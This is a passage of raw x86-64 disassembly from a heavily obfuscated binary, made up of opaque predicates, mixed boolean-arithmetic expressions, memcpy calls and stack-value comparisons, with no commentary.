xor edx, edx
div dword [0x140140820]
mov edx, eax
and edx, 0xea088a2a
mov ecx, eax
or ecx, 0xea088a2a
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x15f775d5
or eax, 0x15f775d5
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0x61cf1915
xor ecx, 0xffffffff
and ecx, 0x61cf1915
shl ecx, 1
sub ecx, 0x61cf1915
sub eax, ecx
or eax, 0xc5f6dbe
mov rcx, qword [rbp + 0x1360]
mov qword [rbp + 0xd70], rcx
cmp eax, 0x1ef494c0
jbe 0x1400f15c8
mov al, byte [rbp + 0x137f]
mov byte [rbp + 0xd6f], al
mov eax, dword [0x140140824]
mov edx, dword [0x140140828]
xor edx, 0xffffffff
mov ecx, eax
xor ecx, edx
and ecx, eax
add ecx, 0x57d04745
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x76a1f003
and ecx, 0x895e0ffc
or eax, ecx
sub eax, 0xd2236b62
cmp eax, 0xcf027466
je 0x1400f15cd
mov al, byte [rbp + 0xd6f]
mov rcx, qword [rbp + 0xd70]
mov qword [rbp + 0x1a48], rcx
mov byte [rbp + 0x1a47], al
movzx eax, byte [rbp + 0x1a47]
mov qword [rbp + 0x1a38], rax
mov rax, qword [rbp + 0x1a48]
movabs rcx, 0xbc9df23bbbe66391
sub rax, rcx
mov qword [rbp + 0x1a30], rax
mov rax, qword [rbp + 0x1a38]
mov rdx, qword [rbp + 0x1a30]
mov rcx, rax
and rcx, rdx
shl rcx, 1
xor rax, rdx
add rax, rcx
mov rcx, qword [rbp + 0x1a38]
mov r8, qword [rbp + 0x1a30]
xor r8, 0xffffffffffffffff
mov rdx, rcx
xor rdx, r8
and rdx, rcx
mov rcx, qword [rbp + 0x1a30]
and rcx, qword [rbp + 0x1a38]
movabs r8, 0x8129869b32dc4a5a
sub rdx, r8
add rdx, rcx
movabs rcx, 0x8129869b32dc4a5a
add rdx, rcx
xor ecx, ecx
sub rcx, rdx
add rax, rcx
mov qword [rbp + 0x1a28], rax
mov rax, qword [rbp + 0x1a28]
movabs rcx, 0xefdddf27cd266ea8
sub rax, rcx
movabs rcx, 0xd7ae605ddcb34709
sub rax, rcx
movabs rcx, 0xefdddf27cd266ea8
add rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400ea533
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xd58], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xd60], rax
lea rcx, [rbp + 0x1a50]
lea rdx, [0x1401335c0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x1b08]
mov qword [rbp + 0xd50], rax
mov rcx, qword [rbp + 0xd58]
mov rax, qword [rbp + 0xd50]
mov r9d, dword [0x14014084c]
and r9d, dword [0x140140850]
mov edx, r9d
xor edx, 0xffffffff
mov r8d, edx
and r8d, 0x49f78872
and r9d, 0xb608778d
or r8d, r9d
xor r8d, 0xc567d264
or edx, 0x736fa5e9
xor edx, 0xffffffff
or r8d, edx
or r8d, 0x643138f0
mov edx, r8d
and edx, 0xc7e8e908
xor r8d, 0xc7e8e908
or edx, r8d
mov dword [rbp + 0xd48], edx
mov r8d, 7
xor edx, edx
div r8
mov eax, dword [rbp + 0xd48]
mov r8, rdx
mov rdx, qword [rbp + 0xd60]
xor r8, 0xffffffffffffffff
sub r8, 0xffffffffffffffff
sub rdx, r8
xor r8d, r8d
sub r8, rdx
add r8, 0xffffffffffffffff
xor edx, edx
sub rdx, r8
cmp rcx, rdx
sete cl
mov byte [rbp + 0xd4f], cl
cmp eax, 0x2832d839
jbe 0x1400f1690
mov al, byte [rbp + 0xd4f]
test al, 1
jne 0x1400e145f
jmp 0x1400e1573
mov eax, dword [0x14014085c]
sub eax, dword [0x140140860]
imul eax, eax, 0x368ebdd8
or eax, 0xabb04409
add eax, 0x106ee7f3
mov rdx, qword [rbp + 0x1360]
mov cl, byte [rbp + 0x137f]
mov qword [rbp + 0x1b38], rdx
mov byte [rbp + 0x1b37], cl
movzx ecx, byte [rbp + 0x1b37]
mov qword [rbp + 0x1b28], rcx
movabs rcx, 0x88d399bb13800345
add rcx, qword [rbp + 0x1b38]
mov qword [rbp + 0x1b20], rcx
cmp eax, 0x3fcd201a
jb 0x1400f1695
mov rax, qword [rbp + 0x1b28]
add rax, qword [rbp + 0x1b20]
mov qword [rbp + 0xd38], rax
mov rax, qword [rbp + 0x1b28]
mov rdx, qword [rbp + 0x1b20]
mov rcx, rax
xor rcx, rdx
xor rcx, 0xffffffffffffffff
or rax, rdx
and rax, rcx
mov qword [rbp + 0xd40], rax
mov rax, qword [rbp + 0xd38]
mov rdx, qword [rbp + 0xd40]
mov rcx, qword [rbp + 0x1b20]
and rcx, qword [rbp + 0x1b28]
add rdx, rcx
mov rcx, rax
xor rcx, 0xffffffffffffffff
and rcx, rdx
xor rdx, 0xffffffffffffffff
and rax, rdx
sub rax, rcx
mov qword [rbp + 0x1b18], rax
mov rax, qword [rbp + 0x1b18]
movabs rcx, 0x42dadf3ab5f0a4da
sub rax, rcx
movabs rcx, 0xbdc9341d888016e3
sub rax, rcx
movabs rcx, 0x42dadf3ab5f0a4da
add rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400ea1d2
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xd28], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xd30], rax
lea rcx, [rbp + 0x1b40]
lea rdx, [0x140133690]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x140140874]
xor edx, edx
div dword [0x140140878]
xor eax, 0xa418942
sub eax, 0x74a491f9
sub eax, 0xafe2b3d7
cmp eax, 0x68214f06
jbe 0x1400f16e6
mov eax, dword [0x14014087c]
sub eax, dword [0x140140880]
imul eax, eax, 0x287dbb01
mov ecx, 0x87916177
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x517fc94a
xor ecx, 0xffffffff
add eax, 0x517fc94a
add eax, 1
add eax, ecx
mov rcx, qword [rbp + 0x1b88]
and rcx, 7
mov qword [rbp + 0xd20], rcx
cmp eax, 0x94b194a1
jae 0x1400e15d0
mov eax, dword [0x140140884]
imul eax, dword [0x140140888]
sub eax, 0x9d25caaa
sub eax, 0xb31b0a1e
xor eax, 0xffffffff
or eax, 0x3b4ebf7a
xor eax, 0xffffffff
cmp eax, 0x8da1c495
ja 0x1400f16eb
mov rax, qword [rbp + 0xd28]
mov rdx, qword [rbp + 0xd20]
mov rcx, qword [rbp + 0xd30]
add rcx, rdx
movabs rdx, 0x66af48e54a073d12
add rcx, rdx
add rcx, 1
movabs rdx, 0x66af48e54a073d12
sub rcx, rdx
cmp rax, rcx
jne 0x1400e1838
mov eax, dword [0x140140894]
mov edx, dword [0x140140898]
xor edx, 0xffffffff
mov ecx, eax
xor ecx, edx
and ecx, eax
or ecx, 0x3156956d
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xcd10d329
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x9420061b
and ecx, 0x6bdff9e4
or eax, ecx
cmp eax, 0xf0c01e2d
ja 0x1400f16f0
mov ecx, dword [0x14014089c]
mov r8d, dword [0x1401408a0]
mov eax, ecx
xor eax, 0xffffffff
and eax, r8d
xor eax, 0xffffffff
mov edx, r8d
xor edx, 0xffffffff
xor r8d, 0xffffffff
or edx, r8d
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0xfabf4499
mov ecx, 0x97a4f246
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xbc1313c7
and ecx, 0x43ecec38
or eax, ecx
xor eax, 0x7352ba19
mov rdx, qword [rbp + 0x1360]
mov cl, byte [rbp + 0x137f]
mov qword [rbp + 0x1c28], rdx
mov byte [rbp + 0x1c27], cl
movzx ecx, byte [rbp + 0x1c27]
mov qword [rbp + 0x1c18], rcx
mov rcx, qword [rbp + 0x1c28]
mov qword [rbp + 0xd18], rcx
cmp eax, 0xa01b0a90
jb 0x1400e16d1
mov rax, qword [rbp + 0xd18]
movabs rcx, 0x2e464211a1be8a51
add rax, rcx
movabs rcx, 0xce4525b1e2e66a1b
add rax, rcx
movabs rcx, 0x2e464211a1be8a51
sub rax, rcx
mov qword [rbp + 0x1c10], rax
mov rax, qword [rbp + 0x1c18]
mov rcx, qword [rbp + 0x1c10]
movabs rdx, 0x780061ec7c06d7c5
sub rax, rdx
add rax, rcx
movabs rcx, 0x780061ec7c06d7c5
add rax, rcx
mov rcx, qword [rbp + 0x1c18]
and rcx, qword [rbp + 0x1c10]
mov rdx, qword [rbp + 0x1c10]
mov r9, qword [rbp + 0x1c18]
mov r8, rdx
xor r8, r9
xor r8, 0xffffffffffffffff
or rdx, r9
and rdx, r8
add rcx, rdx
sub rax, rcx
mov qword [rbp + 0x1c08], rax
mov rax, qword [rbp + 0x1c08]
mov rcx, rax
xor rcx, 0xffffffffffffffff
movabs rdx, 0xa3e407dd344ce6bd
and rcx, rdx
movabs rdx, 0x5c1bf822cbb31942
and rax, rdx
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400ea107
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xd08], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xd10], rax
mov edx, dword [0x1401408a4]
and edx, dword [0x1401408a8]
and edx, 0xba46b6ea
mov ecx, edx
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0x3d7281e4
and edx, 0xc28d7e1b
or eax, edx
xor eax, 0xb476c97d
or ecx, 0x76fbb766
xor ecx, 0xffffffff
or eax, ecx
sub eax, 0x1c834c25
sub eax, 0x5f911084
add eax, 0x1c834c25
cmp eax, 0x82cf1cd7
jae 0x1400f171d
lea rcx, [rbp + 0x1c30]
lea rdx, [0x140133760]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0xd10]
mov rax, qword [rbp + 0x1c88]
mov r8d, 9
xor edx, edx
div r8
mov rax, qword [rbp + 0xd08]
add rcx, rdx
mov rdx, rcx
and rdx, 1
shl rdx, 1
xor rcx, 1
add rcx, rdx
cmp rax, rcx
jne 0x1400e1b58
mov eax, dword [0x1401408b4]
add eax, dword [0x1401408b8]
mov ecx, 0xdbbc50dd
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xa68e5052
and ecx, 0x5971afad
or eax, ecx
xor eax, 0x10aa759a
add eax, 0xae75385a
add eax, 1
cmp eax, 0xb6908981
jae 0x1400f173b
mov eax, dword [str.w_:_f]
or eax, dword [0x1401408c0]
mov ecx, 0xf7b6c544
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x96ed85f1
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or eax, 0xb03b221c
xor ecx, 0xffffffff
or ecx, 0x4fc4dde3
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov rdx, qword [rbp + 0x1360]
mov cl, byte [rbp + 0x137f]
mov qword [rbp + 0x1d18], rdx
mov byte [rbp + 0x1d17], cl
movzx ecx, byte [rbp + 0x1d17]
mov qword [rbp + 0x1d08], rcx
movabs rcx, 0x13b6b1a8b24cd0f1
add rcx, qword [rbp + 0x1d18]
mov qword [rbp + 0x1d00], rcx
mov rcx, qword [rbp + 0x1d08]
add rcx, qword [rbp + 0x1d00]
mov qword [rbp + 0xcf8], rcx
mov rcx, qword [rbp + 0x1d08]
mov qword [rbp + 0xd00], rcx
cmp eax, 0x3897af77
jbe 0x1400e193b
mov eax, dword [0x1401408c4]
mov edx, dword [0x1401408c8]
mov ecx, eax
and ecx, edx
shl ecx, 1
add eax, edx
sub eax, ecx
imul eax, eax, 0x4e50d17c
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1aeca4c4
mov ecx, eax
and ecx, 0xe5135b3b
imul ecx, edx
mov edx, eax
and edx, 0x1aeca4c4
or eax, 0x1aeca4c4
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xe1911b71
and eax, 0x1e6ee48e
sub eax, ecx
cmp eax, 0xb62e9ce0
jb 0x1400f1780
mov rcx, qword [rbp + 0xd00]
mov edx, dword [0x1401408cc]
mov r8d, dword [0x1401408d0]
mov r9d, edx
xor r9d, 0xffffffff
mov eax, r8d
and eax, r9d
xor r8d, 0xffffffff
and edx, r8d
or eax, edx
sub eax, 0x4aafa19f
sub eax, 0x146e062e
mov edx, eax
and edx, 0xa689bbf1
shl edx, 1
add eax, 0xa689bbf1
sub eax, edx
and rcx, qword [rbp + 0x1d00]
mov qword [rbp + 0xce8], rcx
mov rcx, qword [rbp + 0x1d00]
mov qword [rbp + 0xcf0], rcx
cmp eax, 0xaf9a0761
ja 0x1400f1780
mov eax, dword [0x1401408d4]
or eax, dword [0x1401408d8]
mov ecx, eax
xor ecx, 0xeaec122d
xor ecx, 0xffffffff
or eax, 0xeaec122d
and eax, ecx
mov ecx, 0x8bf7c204
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x79f2161a
xor ecx, 0xffffffff
add eax, 0x79f2161a
add eax, 1
add eax, ecx
cmp eax, 0x947d7180
jae 0x1400f1785
mov rax, qword [rbp + 0xcf8]
mov rdx, qword [rbp + 0xce8]
mov rcx, qword [rbp + 0xcf0]
and rcx, qword [rbp + 0x1d08]
add rdx, rcx
mov rcx, rax
xor rcx, 0xffffffffffffffff
and rcx, rdx
xor rdx, 0xffffffffffffffff
and rax, rdx
sub rax, rcx
mov qword [rbp + 0x1cf8], rax
mov rax, qword [rbp + 0x1cf8]
movabs rcx, 0x89fedb9ce019b697
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e9e83
jmp 0x1400e1b5d
jmp 0x1400e1b62
mov eax, dword [0x1401408ec]
imul eax, dword [0x1401408f0]
and eax, 0xe3e95762
sub eax, 0x262d2fb2
imul eax, eax, 0x9f2dfdb1
cmp eax, 0xcbad6df6
ja 0x1400e1b62
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xcd8], rax
mov rax, qword [rbp + 0x1360]
mov qword [rbp + 0xce0], rax
mov eax, dword [0x140140904]
mov edx, dword [0x140140908]
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, edx
add eax, ecx
mov ecx, 0x59c4455b
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x53d25f1d
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x1b17c07b
and ecx, 0xe4e83f84
or eax, ecx
cmp eax, 0xd6338506
jae 0x1400f17f0
mov rax, qword [rbp + 0xcd8]
mov rcx, qword [rbp + 0xce0]
cmp rax, rcx
ja 0x1400f055f
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xcc8], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xcd0], rax
mov eax, dword [0x14014091c]
mov ecx, dword [0x140140920]
add eax, 0x64dc7646
add eax, ecx
sub eax, 0x64dc7646
add eax, 0x435f70f
mov ecx, eax
xor ecx, 0x13aca69e
xor ecx, 0xffffffff
or eax, 0x13aca69e
and eax, ecx
mov ecx, eax
and ecx, 0x1ff25b63
shl ecx, 1
add eax, 0x1ff25b63
sub eax, ecx
mov dword [rbp + 0xcc4], eax
lea rcx, [rbp + 0x1d20]
lea rdx, [0x140133830]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0xcc4]
cmp eax, 0xe0b2ca81
je 0x1400e1c1f
mov rax, qword [rbp + 0xcc8]
mov rcx, qword [rbp + 0xcd0]
add rcx, qword [rbp + 0x1d88]
cmp rax, rcx
jae 0x1400e1dbb
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x1e08], rcx
mov byte [rbp + 0x1e07], al
movzx eax, byte [rbp + 0x1e07]
mov qword [rbp + 0x1df8], rax
movabs rax, 0x59283d9f81b337c7
add rax, qword [rbp + 0x1e08]
mov qword [rbp + 0x1df0], rax
mov rax, qword [rbp + 0x1df8]
mov qword [rbp + 0xcb8], rax
mov eax, dword [0x140140924]
xor ecx, ecx
sub ecx, dword [0x140140928]
sub eax, ecx
mov ecx, eax
and ecx, 0x2d16497a
mov edx, eax
xor edx, 0xd2e9b685
add eax, edx
sub eax, ecx
sub eax, 0x28e7374d
add eax, 0x2825cd85
add eax, 0x28e7374d
xor eax, 0xa6cb85f1
cmp eax, 0x5a796887
jb 0x1400f17f5
mov rax, qword [rbp + 0xcb8]
add rax, qword [rbp + 0x1df0]
mov rdx, qword [rbp + 0x1df8]
mov r8, qword [rbp + 0x1df0]
mov rcx, rdx
and rcx, r8
xor rdx, 0xffffffffffffffff
xor r8, 0xffffffffffffffff
or rdx, r8
xor rdx, 0xffffffffffffffff
or rcx, rdx
mov r8, qword [rbp + 0x1df0]
and r8, qword [rbp + 0x1df8]
mov rdx, rcx
and rdx, r8
or rcx, r8
add rdx, rcx
xor ecx, ecx
sub rcx, rdx
add rax, rcx
mov qword [rbp + 0x1de8], rax
movabs rax, 0x8fe650a37419798e
add rax, qword [rbp + 0x1de8]
add rax, 1
mov byte [rbp + 0x137e], al
jmp 0x1400e39a0
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xcb0], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xca8], rax
lea rcx, [rbp + 0x1e10]
lea rdx, [0x140133900]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0xca8]
mov rax, qword [rbp + 0xcb0]
add rcx, 1
cmp rax, rcx
jne 0x1400e1f12
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x1ef8], rcx
mov byte [rbp + 0x1ef7], al
movzx eax, byte [rbp + 0x1ef7]
mov qword [rbp + 0x1ee8], rax
movabs rax, 0x9e99c99651199e9d
add rax, qword [rbp + 0x1ef8]
mov qword [rbp + 0x1ee0], rax
mov rax, qword [rbp + 0x1ee8]
mov rdx, qword [rbp + 0x1ee0]
xor ecx, ecx
sub rcx, rax
xor eax, eax
sub rax, rdx
add rcx, rax
xor eax, eax
sub rax, rcx
mov rdx, qword [rbp + 0x1ee8]
and rdx, qword [rbp + 0x1ee0]
mov rcx, qword [rbp + 0x1ee0]
mov r9, qword [rbp + 0x1ee8]
mov r8, rcx
add r8, 1
xor rcx, 0xffffffffffffffff
or rcx, r9
add rcx, r8
add rdx, rcx
xor ecx, ecx
sub rcx, rdx
add rax, rcx
mov qword [rbp + 0x1ed8], rax
mov eax, dword [0x140140954]
mov edx, dword [0x140140958]
mov ecx, eax
xor ecx, edx
xor ecx, 0xffffffff
or eax, edx
and eax, ecx
add eax, 0x666e187e
sub eax, 0xc05953d9
sub eax, 0x4858b072
sub eax, 0xe79c147f
add eax, 0x4858b072
cmp eax, 0x4e4455ba
jb 0x1400f17fa
mov rax, qword [rbp + 0x1ed8]
movabs rcx, 0x5634831c37b3564b
sub rax, rcx
mov qword [rbp + 0xca0], rax
mov rax, qword [rbp + 0xca0]
mov byte [rbp + 0x137e], al
jmp 0x1400e9e83
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xc88], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xc90], rax
lea rcx, [rbp + 0x1f00]
lea rdx, [0x1401339d0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x1f08]
mov qword [rbp + 0xc98], rax
mov eax, dword [0x140140974]
mov r8d, dword [0x140140978]
mov r9d, r8d
xor r9d, 0xffffffff
mov edx, eax
and edx, r9d
mov ecx, eax
or ecx, r9d
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, r8d
or eax, r8d
imul eax, edx
add eax, ecx
mov edx, eax
and edx, 0xfcf3f3fa
mov ecx, eax
or ecx, 0xfcf3f3fa
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x30c0c05
or eax, 0x30c0c05
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x3f85fcf2
xor ecx, 0xffffffff
add eax, 0x3f85fcf2
add eax, 1
add eax, ecx
imul eax, eax, 0x61286e07
cmp eax, 0x8d8120fd
jae 0x1400f17ff
mov rcx, qword [rbp + 0xc90]
mov rdx, qword [rbp + 0xc98]
mov r8d, dword [0x14014097c]
mov r9d, dword [0x140140980]
mov eax, r8d
and eax, r9d
xor r8d, r9d
or eax, r8d
or eax, 0x72dd670f
add eax, 0x2c662e6e
sub eax, 0x337ceae2
sub eax, 0x2c662e6e
mov r8d, eax
xor r8d, 0x7c73e8ab
xor r8d, 0xffffffff
or eax, 0x7c73e8ab
and eax, r8d
and rdx, 1
add rcx, rdx
mov qword [rbp + 0xc80], rcx
cmp eax, 0xec9b8e0b
je 0x1400f17ff
mov eax, dword [0x140140984]
xor edx, edx
div dword [0x140140988]
sub eax, 0x9237f902
mov ecx, eax
xor ecx, 0x9d209349
and eax, 0x62df6cb6
shl eax, 1
sub eax, ecx
or eax, 0x1c7de574
cmp eax, 0x9b2d9765
jb 0x1400f1804
mov rcx, qword [rbp + 0xc88]
mov eax, dword [0x14014098c]
xor edx, edx
div dword [0x140140990]
mov rdx, qword [rbp + 0xc80]
xor eax, 0xffffffff
or eax, 0xf7676fe
xor eax, 0xffffffff
or eax, 0x6a6b7e07
xor r8d, r8d
sub r8d, eax
add r8d, 0xbe0f0230
xor eax, eax
sub eax, r8d
add rdx, 1
cmp rcx, rdx
sete cl
mov byte [rbp + 0xc7f], cl
cmp eax, 0xf6cdeb14
jae 0x1400e2073
mov al, byte [rbp + 0xc7f]
test al, 1
jne 0x1400e20df
jmp 0x1400e2284
mov eax, dword [0x140140994]
imul eax, dword [0x140140998]
sub eax, 0x3dfe3a7
sub eax, 0xe27b78b1
add eax, 0x3dfe3a7
mov ecx, 0xdd439705
xor edx, edx
div ecx
sub eax, 0xd35dbcef
cmp eax, 0x62def4cc
jae 0x1400f1809
mov ecx, dword [0x14014099c]
mov edx, dword [0x1401409a0]
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
imul eax, eax, 0x370005b9
or eax, 0x8359b2ad
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x74fe2be0
add eax, ecx
mov rdx, qword [rbp + 0x1360]
mov cl, byte [rbp + 0x137f]
mov qword [rbp + 0x1fe8], rdx
mov byte [rbp + 0x1fe7], cl
movzx ecx, byte [rbp + 0x1fe7]
mov qword [rbp + 0xc70], rcx
cmp eax, 0x6fbb7492
ja 0x1400e2114
mov rax, qword [rbp + 0xc70]
mov qword [rbp + 0x1fd8], rax
movabs rax, 0xe40b558d20800573
add rax, qword [rbp + 0x1fe8]
mov qword [rbp + 0x1fd0], rax
mov rax, qword [rbp + 0x1fd8]
mov qword [rbp + 0xc60], rax
mov rax, qword [rbp + 0x1fd0]
mov qword [rbp + 0xc68], rax
mov eax, dword [0x1401409a4]
xor edx, edx
div dword [0x1401409a8]
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x675f704d
and ecx, 0x98a08fb2
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x82aae2ac
and ecx, 0x7d551d53
or eax, ecx
xor eax, 0x6a307252
add eax, 0xac250d91
cmp eax, 0xb1f9f575
je 0x1400f1828
mov rdx, qword [rbp + 0xc68]
mov rcx, qword [rbp + 0xc60]
mov rax, rcx
and rax, rdx
or rcx, rdx
add rax, rcx
mov rcx, qword [rbp + 0x1fd8]
mov r8, qword [rbp + 0x1fd0]
xor r8, 0xffffffffffffffff
mov rdx, rcx
xor rdx, r8
and rdx, rcx
mov rcx, qword [rbp + 0x1fd0]
mov r9, qword [rbp + 0x1fd8]
mov r8, rcx
xor r8, r9
xor r8, 0xffffffffffffffff
or rcx, r9
and rcx, r8
add rdx, rcx
xor ecx, ecx
sub rcx, rdx
add rax, rcx
mov qword [rbp + 0x1fc8], rax
mov rax, qword [rbp + 0x1fc8]
movabs rcx, 0x3c4f56dbe3802625
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400ea107
mov ecx, dword [0x1401409bc]
mov edx, dword [0x1401409c0]
mov eax, ecx
xor eax, 0xffffffff
mov r8d, edx
xor r8d, 0xffffffff
or eax, r8d
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
xor eax, 0x8c9478f1
mov ecx, 0x73b83203
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x42dfc480
and eax, 0xbd203b7f
sub eax, ecx
mov dword [rbp + 0xc54], eax
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xc40], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xc48], rax
lea rcx, [rbp + 0x1ff0]
lea rdx, [0x140133aa0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0xc54]
lea rcx, [rbp + 0x1ff0]
add rcx, 0x18
mov qword [rbp + 0xc58], rcx
cmp eax, 0xa8f0f51b
jb 0x1400e2284
mov rax, qword [rbp + 0xc58]
mov rax, qword [rax]
mov ecx, 3
xor edx, edx
div rcx
mov rax, qword [rbp + 0xc48]
mov rcx, rdx
xor rcx, 0xffffffffffffffff
sub rcx, 0xffffffffffffffff
sub rax, rcx
mov qword [rbp + 0xc38], rax
mov eax, dword [0x1401409c4]
xor eax, dword [str._Dc__]
and eax, 0x8da4d23e
sub eax, 0x34748cb3
or eax, 0x8a63f9d9
cmp eax, 0xd432f098
jbe 0x1400f18bf
mov rcx, qword [rbp + 0xc40]
mov rdx, qword [rbp + 0xc38]
mov eax, dword [0x1401409cc]
mov r9d, dword [0x1401409d0]
mov r10d, eax
xor r10d, r9d
xor r10d, 0xffffffff
mov r8d, r9d
and r8d, r10d
shl r8d, 1
sub r8d, r9d
sub eax, r8d
or eax, 0x3110cdfd
imul eax, eax, 0x25ae48fa
mov r8d, eax
xor r8d, 0x18001077
xor r8d, 0xffffffff
and r8d, 0x18001077
shl r8d, 1
sub r8d, 0x18001077
sub eax, r8d
sub rdx, 0xffffffffffffffff
cmp rcx, rdx
sete cl
mov byte [rbp + 0xc37], cl
cmp eax, 0x125782d6
jbe 0x1400e2380
mov al, byte [rbp + 0xc37]
test al, 1
jne 0x1400e240f
jmp 0x1400e25a2
mov eax, dword [0x1401409d4]
imul eax, dword [0x1401409d8]
add eax, 0xaded92e8
or eax, 0x22a661cf
add eax, 0xbe012ba0
add eax, 0xbfd44e9c
sub eax, 0xbe012ba0
cmp eax, 0x56331072
jb 0x1400f18c4
mov eax, dword [0x1401409dc]
mov edx, dword [0x1401409e0]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
or eax, 0xdcc54a22
sub eax, 0x348ecce5
and eax, 0x4aef6be6
mov rdx, qword [rbp + 0x1360]
mov cl, byte [rbp + 0x137f]
mov qword [rbp + 0x20d8], rdx
mov byte [rbp + 0x20d7], cl
cmp eax, 0x3af846e8
ja 0x1400f18c4
mov eax, dword [0x1401409ec]
and eax, dword [0x1401409f0]
imul eax, eax, 0xfd04f1eb
xor eax, 0xec836d99
xor eax, 0x64af5bfd
movzx ecx, byte [rbp + 0x20d7]
mov qword [rbp + 0x20c8], rcx
mov rcx, qword [rbp + 0x20d8]
mov qword [rbp + 0xc28], rcx
cmp eax, 0xa7b3451f
jb 0x1400e248e
mov ecx, dword [0x1401409f4]
mov eax, dword [0x1401409f8]
sub ecx, 0x2b746ccf
sub ecx, eax
add ecx, 0x2b746ccf
or ecx, 0x8d6d14e1
mov eax, ecx
or eax, 0xaf23e9d2
and ecx, 0xaf23e9d2
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
sub eax, 0x50b04f3f
add eax, 0x3a459eb
add eax, 0x50b04f3f
cmp eax, 0x8b1ab521
je 0x1400f18e3
mov rax, qword [rbp + 0xc28]
movabs rcx, 0x297ce183efe66c49
add rax, rcx
mov qword [rbp + 0x20c0], rax
mov rax, qword [rbp + 0x20c8]
mov rcx, qword [rbp + 0x20c0]
xor rcx, 0xffffffffffffffff
sub rcx, 0xffffffffffffffff
sub rax, rcx
mov rdx, qword [rbp + 0x20c8]
and rdx, qword [rbp + 0x20c0]
mov rcx, qword [rbp + 0x20c0]
and rcx, qword [rbp + 0x20c8]
add rdx, rcx
xor ecx, ecx
sub rcx, rdx
add rax, rcx
mov qword [rbp + 0x20b8], rax
movabs rax, 0xdd95d56470b30a00
add rax, qword [rbp + 0x20b8]
add rax, 1
mov byte [rbp + 0x137e], al
jmp 0x1400ea1d2
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xc10], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xc18], rax
lea rcx, [rbp + 0x20e0]
lea rdx, [0x140133b70]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x2108]
mov qword [rbp + 0xc20], rax
mov rax, qword [rbp + 0xc10]
mov rcx, qword [rbp + 0xc18]
mov rdx, qword [rbp + 0xc20]
and rdx, 3
add rcx, rdx
add rcx, 1
cmp rax, rcx
jne 0x1400e2759
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x21c8], rcx
mov byte [rbp + 0x21c7], al
movzx eax, byte [rbp + 0x21c7]
mov qword [rbp + 0x21b8], rax
movabs rax, 0x6eee6d7abf4cd31f
